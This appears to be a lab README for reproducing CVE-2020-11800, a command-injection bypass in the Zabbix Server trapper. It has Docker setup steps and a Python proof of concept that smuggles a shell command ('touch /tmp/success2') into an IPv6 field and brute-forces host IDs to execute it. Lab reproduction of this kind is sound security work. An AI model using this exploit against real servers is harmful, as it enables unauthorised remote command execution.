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64 lines
2.1 KiB
Markdown
64 lines
2.1 KiB
Markdown
# Zabbix Server Active Proxy Trapper Command Injection Bypass (CVE-2020-11800)
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[中文版本(Chinese version)](README.zh-cn.md)
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Zabbix is a network monitoring and management system developed by Alexei Vladishev, based on a Server-Client architecture. In [CVE-2017-2824][1], there was a code execution vulnerability in the Server-side trapper command functionality. However, the patch for that vulnerability was incomplete, allowing attackers to bypass it using IPv6 to inject arbitrary commands.
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Reference:
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- https://xz.aliyun.com/t/8991
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## Environment Setup
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Execute the following command to start a complete Zabbix environment, including the Web interface, Server, 1 Agent, and MySQL database:
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```
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docker compose up -d
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```
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After executing the command, run `docker compose ps` to check if all containers have started successfully. If not, try running `docker compose up -d` again.
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To exploit this vulnerability, you need to enable the auto-registration feature on the server side. For instructions on how to enable it, please refer to [CVE-2017-2824][1].
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## Vulnerability Reproduction
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Modify the IP field in the [CVE-2017-2824][1] POC to create a new POC:
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```python
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import sys
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import socket
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import json
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import sys
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def send(ip, data):
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conn = socket.create_connection((ip, 10051), 10)
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conn.send(json.dumps(data).encode())
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data = conn.recv(2048)
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conn.close()
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return data
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target = sys.argv[1]
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print(send(target, {"request":"active checks","host":"vulhub","ip":"ffff:::;touch /tmp/success2"}))
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for i in range(10000, 10500):
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data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
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if data and b'failed' not in data:
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print('hostid: %d' % i)
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print(data)
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```
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As you can see, this POC is very similar to the [CVE-2017-2824][1] POC, but I use IPv6 `ffff:::;touch /tmp/success2` to bypass the patch.
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When you see the following result, it indicates successful command execution:
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Enter the server container, and you can see that `/tmp/success2` has been successfully created:
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Interested users can improve this POC and submit a Pull Request.
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[1]: ../CVE-2017-2824
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